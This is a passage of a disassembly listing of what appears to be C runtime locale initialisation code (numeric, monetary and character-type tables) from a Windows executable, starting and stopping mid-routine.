sub_42E940 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EED0 proc near ; CODE XREF: sub_42E860+50p
; sub_42E860+7Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_42EEDE
jmp loc_42F1D9
; ---------------------------------------------------------------------------
loc_42EEDE: ; CODE XREF: sub_42EED0+7j
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+38h]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+40h]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+44h]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+48h]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+4Ch]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+50h]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+54h]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+58h]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+5Ch]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+60h]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+64h]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+68h]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+6Ch]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+70h]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+74h]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+78h]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+7Ch]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+80h]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+84h]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+88h]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+8Ch]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+90h]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+94h]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+98h]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+9Ch]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+0A0h]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0A4h]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+0A8h]
push ecx
call sub_419980
add esp, 8
loc_42F1D9: ; CODE XREF: sub_42EED0+9j
pop ebp
retn
sub_42EED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F1E0 proc near ; DATA XREF: .nsp0:00451BB8o
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
xor eax, eax
mov ax, word_4EFBCA
mov [ebp+var_4], eax
cmp dword_4EF97C, 0
jz loc_42F35A
push offset dword_4EFB98
push 0Eh
mov ecx, [ebp+var_4]
push ecx
push 1
call sub_4338F0
add esp, 10h
mov edx, [ebp+var_8]
or edx, eax
mov [ebp+var_8], edx
push offset dword_4EFB9C
push 0Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
push offset dword_4EFBA0
push 10h
mov edx, [ebp+var_4]
push edx
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, dword_4EFBA0
push edx
call sub_42F490
add esp, 4
cmp [ebp+var_8], 0
jz short loc_42F2C9
push 2
mov eax, dword_4EFB98
push eax
call sub_419980
add esp, 8
push 2
mov ecx, dword_4EFB9C
push ecx
call sub_419980
add esp, 8
push 2
mov edx, dword_4EFBA0
push edx
call sub_419980
add esp, 8
mov dword_4EFB98, 0
mov dword_4EFB9C, 0
mov dword_4EFBA0, 0
or eax, 0FFFFFFFFh
jmp loc_42F482
; ---------------------------------------------------------------------------
loc_42F2C9: ; CODE XREF: sub_42F1E0+8Fj
mov eax, off_4526D8
cmp dword ptr [eax], offset dword_4526A0
jz short loc_42F310
push 2
mov ecx, off_4526D8
mov edx, [ecx]
push edx
call sub_419980
add esp, 8
push 2
mov eax, off_4526D8
mov ecx, [eax+4]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, off_4526D8
mov eax, [edx+8]
push eax
call sub_419980
add esp, 8
loc_42F310: ; CODE XREF: sub_42F1E0+F4j
mov ecx, off_4526D8
mov edx, dword_4EFB98
mov [ecx], edx
mov eax, off_4526D8
mov ecx, dword_4EFB9C
mov [eax+4], ecx
mov edx, off_4526D8
mov eax, dword_4EFBA0
mov [edx+8], eax
mov ecx, off_4526D8
mov edx, [ecx]
mov al, [edx]
mov byte_4516AC, al
mov dword_4516B0, 1
xor eax, eax
jmp loc_42F482
; ---------------------------------------------------------------------------
loc_42F35A: ; CODE XREF: sub_42F1E0+1Fj
push 2
mov ecx, dword_4EFB98
push ecx
call sub_419980
add esp, 8
push 2
mov edx, dword_4EFB9C
push edx
call sub_419980
add esp, 8
push 2
mov eax, dword_4EFBA0
push eax
call sub_419980
add esp, 8
mov dword_4EFB98, 0
mov dword_4EFB9C, 0
mov dword_4EFBA0, 0
push 88h
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_418EF0
add esp, 10h
mov ecx, off_4526D8
mov [ecx], eax
mov edx, off_4526D8
cmp dword ptr [edx], 0
jnz short loc_42F3DB
or eax, 0FFFFFFFFh
jmp loc_42F482
; ---------------------------------------------------------------------------
loc_42F3DB: ; CODE XREF: sub_42F1E0+1F1j
push offset a__3 ; "."
mov eax, off_4526D8
mov ecx, [eax]
push ecx
call sub_41C300
add esp, 8
push 8Dh
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_418EF0
add esp, 10h
mov edx, off_4526D8
mov [edx+4], eax
mov eax, off_4526D8
cmp dword ptr [eax+4], 0
jnz short loc_42F41F
or eax, 0FFFFFFFFh
jmp short loc_42F482
; ---------------------------------------------------------------------------
loc_42F41F: ; CODE XREF: sub_42F1E0+238j
mov ecx, off_4526D8
mov edx, [ecx+4]
mov byte ptr [edx], 0
push 92h
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_418EF0
add esp, 10h
mov ecx, off_4526D8
mov [ecx+8], eax
mov edx, off_4526D8
cmp dword ptr [edx+8], 0
jnz short loc_42F45B
or eax, 0FFFFFFFFh
jmp short loc_42F482
; ---------------------------------------------------------------------------
loc_42F45B: ; CODE XREF: sub_42F1E0+274j
mov eax, off_4526D8
mov ecx, [eax+8]
mov byte ptr [ecx], 0
mov edx, off_4526D8
mov eax, [edx]
mov cl, [eax]
mov byte_4516AC, cl
mov dword_4516B0, 1
xor eax, eax
loc_42F482: ; CODE XREF: sub_42F1E0+E4j
; sub_42F1E0+175j ...
mov esp, ebp
pop ebp
retn
sub_42F1E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F490 proc near ; CODE XREF: sub_42F1E0+83p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_42F494: ; CODE XREF: sub_42F490:loc_42F507j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42F509
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_42F4CD
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_42F4CD
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
sub ecx, 30h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_42F507
; ---------------------------------------------------------------------------
loc_42F4CD: ; CODE XREF: sub_42F490+17j
; sub_42F490+22j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_42F4FE
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_42F4DE: ; CODE XREF: sub_42F490+6Aj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_42F4DE
jmp short loc_42F507
; ---------------------------------------------------------------------------
loc_42F4FE: ; CODE XREF: sub_42F490+46j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42F507: ; CODE XREF: sub_42F490+3Bj
; sub_42F490+6Cj
jmp short loc_42F494
; ---------------------------------------------------------------------------
loc_42F509: ; CODE XREF: sub_42F490+Cj
mov esp, ebp
pop ebp
retn
sub_42F490 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F510 proc near ; DATA XREF: .nsp0:00451BACo
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_4EF978, 0
jz loc_42F5DC
push 4Ah
push offset aInitmon_c ; "initmon.c"
push 2
push 30h
push 1
call sub_419300
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_42F549
mov eax, 1
jmp loc_42F63C
; ---------------------------------------------------------------------------
loc_42F549: ; CODE XREF: sub_42F510+2Dj
mov eax, [ebp+var_4]
push eax
call sub_42F640
add esp, 4
test eax, eax
jz short loc_42F57D
mov ecx, [ebp+var_4]
push ecx
call sub_42F8D0
add esp, 4
push 2
mov edx, [ebp+var_4]
push edx
call sub_419980
add esp, 8
mov eax, 1
jmp loc_42F63C
; ---------------------------------------------------------------------------
loc_42F57D: ; CODE XREF: sub_42F510+47j
mov eax, [ebp+var_4]
mov ecx, off_4526D8
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_4]
mov ecx, off_4526D8
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_4]
mov ecx, off_4526D8
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_4]
mov off_4526D8, eax
mov ecx, dword_4EFBA4
push ecx
call sub_42F8D0
add esp, 4
push 2
mov edx, dword_4EFBA4
push edx
call sub_419980
add esp, 8
mov eax, [ebp+var_4]
mov dword_4EFBA4, eax
xor eax, eax
jmp short loc_42F63C
; ---------------------------------------------------------------------------
loc_42F5DC: ; CODE XREF: sub_42F510+Bj
mov ecx, off_4526D8
mov edx, [ecx]
mov off_4526A8, edx
mov eax, off_4526D8
mov ecx, [eax+4]
mov off_4526AC, ecx
mov edx, off_4526D8
mov eax, [edx+8]
mov off_4526B0, eax
mov off_4526D8, offset off_4526A8
mov ecx, dword_4EFBA4
push ecx
call sub_42F8D0
add esp, 4
push 2
mov edx, dword_4EFBA4
push edx
call sub_419980
add esp, 8
mov dword_4EFBA4, 0
xor eax, eax
loc_42F63C: ; CODE XREF: sub_42F510+34j
; sub_42F510+68j ...
mov esp, ebp
pop ebp
retn
sub_42F510 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F640 proc near ; CODE XREF: sub_42F510+3Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
xor eax, eax
mov ax, word_4EFBC4
mov [ebp+var_4], eax
cmp [ebp+arg_0], 0
jnz short loc_42F666
or eax, 0FFFFFFFFh
jmp loc_42F849
; ---------------------------------------------------------------------------
loc_42F666: ; CODE XREF: sub_42F640+1Cj
mov ecx, [ebp+arg_0]
add ecx, 0Ch
push ecx
push 15h
mov edx, [ebp+var_4]
push edx
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 10h
push edx
push 14h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 14h
push edx
push 16h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 18h
push edx
push 17h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx
push 18h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
call sub_42F850
add esp, 4
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
push 50h
mov edx, [ebp+var_4]
push edx
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 24h
push edx
push 51h
mov eax, [ebp+var_4]
push eax
push 1
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 28h
push edx
push 1Ah
mov eax, [ebp+var_4]
push eax
push 0
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 29h
push edx
push 19h
mov eax, [ebp+var_4]
push eax
push 0
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Ah
push edx
push 54h
mov eax, [ebp+var_4]
push eax
push 0
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Bh
push edx
push 55h
mov eax, [ebp+var_4]
push eax
push 0
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Ch
push edx
push 56h
mov eax, [ebp+var_4]
push eax
push 0
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Dh
push edx
push 57h
mov eax, [ebp+var_4]
push eax
push 0
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Eh
push edx
push 52h
mov eax, [ebp+var_4]
push eax
push 0
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Fh
push edx
push 53h
mov eax, [ebp+var_4]
push eax
push 0
call sub_4338F0
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
loc_42F849: ; CODE XREF: sub_42F640+21j
mov esp, ebp
pop ebp
retn
sub_42F640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F850 proc near ; CODE XREF: sub_42F640+C8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_42F854: ; CODE XREF: sub_42F850:loc_42F8C7j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42F8C9
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_42F88D
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_42F88D
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
sub ecx, 30h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_42F8C7
; ---------------------------------------------------------------------------
loc_42F88D: ; CODE XREF: sub_42F850+17j
; sub_42F850+22j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_42F8BE
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_42F89E: ; CODE XREF: sub_42F850+6Aj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_42F89E
jmp short loc_42F8C7
; ---------------------------------------------------------------------------
loc_42F8BE: ; CODE XREF: sub_42F850+46j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42F8C7: ; CODE XREF: sub_42F850+3Bj
; sub_42F850+6Cj
jmp short loc_42F854
; ---------------------------------------------------------------------------
loc_42F8C9: ; CODE XREF: sub_42F850+Cj
mov esp, ebp
pop ebp
retn
sub_42F850 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F8D0 proc near ; CODE XREF: sub_42F510+4Dp
; sub_42F510+A7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_42F8DE
jmp loc_42F961
; ---------------------------------------------------------------------------
loc_42F8DE: ; CODE XREF: sub_42F8D0+7j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0Ch], offset dword_4EFC04
jz short loc_42F961
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
call sub_419980
add esp, 8
loc_42F961: ; CODE XREF: sub_42F8D0+9j
; sub_42F8D0+18j
pop ebp
retn
sub_42F8D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F970 proc near ; DATA XREF: .nsp0:00451BA0o
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_E = byte ptr -0Eh
push ebp
mov ebp, esp
sub esp, 30h
mov [ebp+var_2C], 0
mov [ebp+var_28], 0
cmp dword_4EF974, 0
jz loc_42FCC1
cmp dword_4EF984, 0
jnz short loc_42F9C0
push offset dword_4EF984
push 1004h
xor eax, eax
mov ax, word_4EFBBC
push eax
push 0
call sub_4338F0
add esp, 10h
test eax, eax
jz short loc_42F9C0
jmp loc_42FC82
; ---------------------------------------------------------------------------
loc_42F9C0: ; CODE XREF: sub_42F970+28j
; sub_42F970+49j
push 5Ch
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_418EF0
add esp, 10h
mov [ebp+var_30], eax
push 5Eh
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_418EF0
add esp, 10h
mov [ebp+var_1C], eax
push 60h
push offset aInitctyp_c ; "initctyp.c"
push 2
push 101h
call sub_418EF0
add esp, 10h
mov [ebp+var_2C], eax
push 62h
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_418EF0
add esp, 10h
mov [ebp+var_28], eax
cmp [ebp+var_30], 0
jz short loc_42FA3C
cmp [ebp+var_1C], 0
jz short loc_42FA3C
cmp [ebp+var_2C], 0
jz short loc_42FA3C
cmp [ebp+var_28], 0
jnz short loc_42FA41
loc_42FA3C: ; CODE XREF: sub_42F970+B8j
; sub_42F970+BEj ...
jmp loc_42FC82
; ---------------------------------------------------------------------------
loc_42FA41: ; CODE XREF: sub_42F970+CAj
mov ecx, [ebp+var_2C]
mov [ebp+var_18], ecx
mov [ebp+var_20], 0
jmp short loc_42FA59
; ---------------------------------------------------------------------------
loc_42FA50: ; CODE XREF: sub_42F970+103j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_42FA59: ; CODE XREF: sub_42F970+DEj
cmp [ebp+var_20], 100h
jge short loc_42FA75
mov eax, [ebp+var_18]
mov cl, byte ptr [ebp+var_20]
mov [eax], cl
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
jmp short loc_42FA50
; ---------------------------------------------------------------------------
loc_42FA75: ; CODE XREF: sub_42F970+F0j
lea eax, [ebp+var_14]
push eax
mov ecx, dword_4EF984
push ecx
call dword_4F14B0 ; GetCPInfo
test eax, eax
jnz short loc_42FA8F
jmp loc_42FC82
; ---------------------------------------------------------------------------
loc_42FA8F: ; CODE XREF: sub_42F970+118j
cmp [ebp+var_14], 2
jbe short loc_42FA9A
jmp loc_42FC82
; ---------------------------------------------------------------------------
loc_42FA9A: ; CODE XREF: sub_42F970+123j
mov edx, [ebp+var_14]
and edx, 0FFFFh
mov dword_4516A8, edx
cmp dword_4516A8, 1
jle short loc_42FB09
lea eax, [ebp+var_E]
mov [ebp+var_18], eax
jmp short loc_42FAC3
; ---------------------------------------------------------------------------
loc_42FABA: ; CODE XREF: sub_42F970:loc_42FB07j
mov ecx, [ebp+var_18]
add ecx, 2
mov [ebp+var_18], ecx
loc_42FAC3: ; CODE XREF: sub_42F970+148j
mov edx, [ebp+var_18]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_42FB09
mov ecx, [ebp+var_18]
xor edx, edx
mov dl, [ecx+1]
test edx, edx
jz short loc_42FB09
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_20], ecx
jmp short loc_42FAEF
; ---------------------------------------------------------------------------
loc_42FAE6: ; CODE XREF: sub_42F970+195j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_42FAEF: ; CODE XREF: sub_42F970+174j
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax+1]
cmp [ebp+var_20], ecx
jg short loc_42FB07
mov edx, [ebp+var_2C]
add edx, [ebp+var_20]
mov byte ptr [edx], 0
jmp short loc_42FAE6
; ---------------------------------------------------------------------------
loc_42FB07: ; CODE XREF: sub_42F970+18Aj
jmp short loc_42FABA
; ---------------------------------------------------------------------------
loc_42FB09: ; CODE XREF: sub_42F970+140j
; sub_42F970+15Cj ...
push 0
push 0
push 0
mov eax, [ebp+var_30]
add eax, 2
push eax
push 100h
mov ecx, [ebp+var_2C]
push ecx
push 1
call sub_42C100
add esp, 1Ch
test eax, eax
jnz short loc_42FB32
jmp loc_42FC82
; ---------------------------------------------------------------------------
loc_42FB32: ; CODE XREF: sub_42F970+1BBj
mov edx, [ebp+var_30]
mov word ptr [edx], 0
mov eax, [ebp+var_28]
mov [ebp+var_24], eax
mov [ebp+var_20], 0
jmp short loc_42FB52
; ---------------------------------------------------------------------------
loc_42FB49: ; CODE XREF: sub_42F970+1FEj
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
loc_42FB52: ; CODE XREF: sub_42F970+1D7j
cmp [ebp+var_20], 100h
jge short loc_42FB70
mov edx, [ebp+var_24]
mov ax, word ptr [ebp+var_20]
mov [edx], ax
mov ecx, [ebp+var_24]
add ecx, 2
mov [ebp+var_24], ecx
jmp short loc_42FB49
; ---------------------------------------------------------------------------
loc_42FB70: ; CODE XREF: sub_42F970+1E9j
push 0
push 0
mov edx, [ebp+var_1C]
add edx, 2
push edx
push 100h
mov eax, [ebp+var_28]
push eax
push 1
call sub_433B90
add esp, 18h
test eax, eax
jnz short loc_42FB97
jmp loc_42FC82
; ---------------------------------------------------------------------------
loc_42FB97: ; CODE XREF: sub_42F970+220j
mov ecx, [ebp+var_1C]
mov word ptr [ecx], 0
cmp dword_4516A8, 1
jle short loc_42FC03
lea edx, [ebp+var_E]
mov [ebp+var_18], edx
jmp short loc_42FBB9
; ---------------------------------------------------------------------------
loc_42FBB0: ; CODE XREF: sub_42F970:loc_42FC01j
mov eax, [ebp+var_18]
add eax, 2
mov [ebp+var_18], eax
loc_42FBB9: ; CODE XREF: sub_42F970+23Ej
mov ecx, [ebp+var_18]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_42FC03
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax+1]
test ecx, ecx
jz short loc_42FC03
mov edx, [ebp+var_18]
xor eax, eax
mov al, [edx]
mov [ebp+var_20], eax
jmp short loc_42FBE5
; ---------------------------------------------------------------------------
loc_42FBDC: ; CODE XREF: sub_42F970+28Fj
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
loc_42FBE5: ; CODE XREF: sub_42F970+26Aj
mov edx, [ebp+var_18]
xor eax, eax
mov al, [edx+1]
cmp [ebp+var_20], eax
jg short loc_42FC01
mov ecx, [ebp+var_20]
mov edx, [ebp+var_30]
mov word ptr [edx+ecx*2+2], 8000h
jmp short loc_42FBDC
; ---------------------------------------------------------------------------
loc_42FC01: ; CODE XREF: sub_42F970+280j
jmp short loc_42FBB0
; ---------------------------------------------------------------------------
loc_42FC03: ; CODE XREF: sub_42F970+236j
; sub_42F970+252j ...
mov eax, [ebp+var_30]
add eax, 2
mov off_45149C, eax
mov ecx, [ebp+var_1C]
add ecx, 2
mov off_4514A0, ecx
cmp dword_4EFBA8, 0
jz short loc_42FC34
push 2
mov edx, dword_4EFBA8
push edx
call sub_419980
add esp, 8
loc_42FC34: ; CODE XREF: sub_42F970+2B1j
mov eax, [ebp+var_30]
mov dword_4EFBA8, eax
cmp dword_4EFBAC, 0
jz short loc_42FC56
push 2
mov ecx, dword_4EFBAC
push ecx
call sub_419980
add esp, 8
loc_42FC56: ; CODE XREF: sub_42F970+2D3j
mov edx, [ebp+var_1C]
mov dword_4EFBAC, edx
push 2
mov eax, [ebp+var_2C]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+var_28]
push ecx
call sub_419980
add esp, 8
xor eax, eax
jmp loc_42FD0C
; ---------------------------------------------------------------------------
loc_42FC82: ; CODE XREF: sub_42F970+4Bj
; sub_42F970:loc_42FA3Cj ...
push 2
mov edx, [ebp+var_30]
push edx
call sub_419980
add esp, 8
push 2
mov eax, [ebp+var_1C]
push eax
call sub_419980
add esp, 8
push 2
mov ecx, [ebp+var_2C]
push ecx
call sub_419980
add esp, 8
push 2
mov edx, [ebp+var_28]
push edx
call sub_419980
add esp, 8
mov eax, 1
jmp short loc_42FD0C
; ---------------------------------------------------------------------------
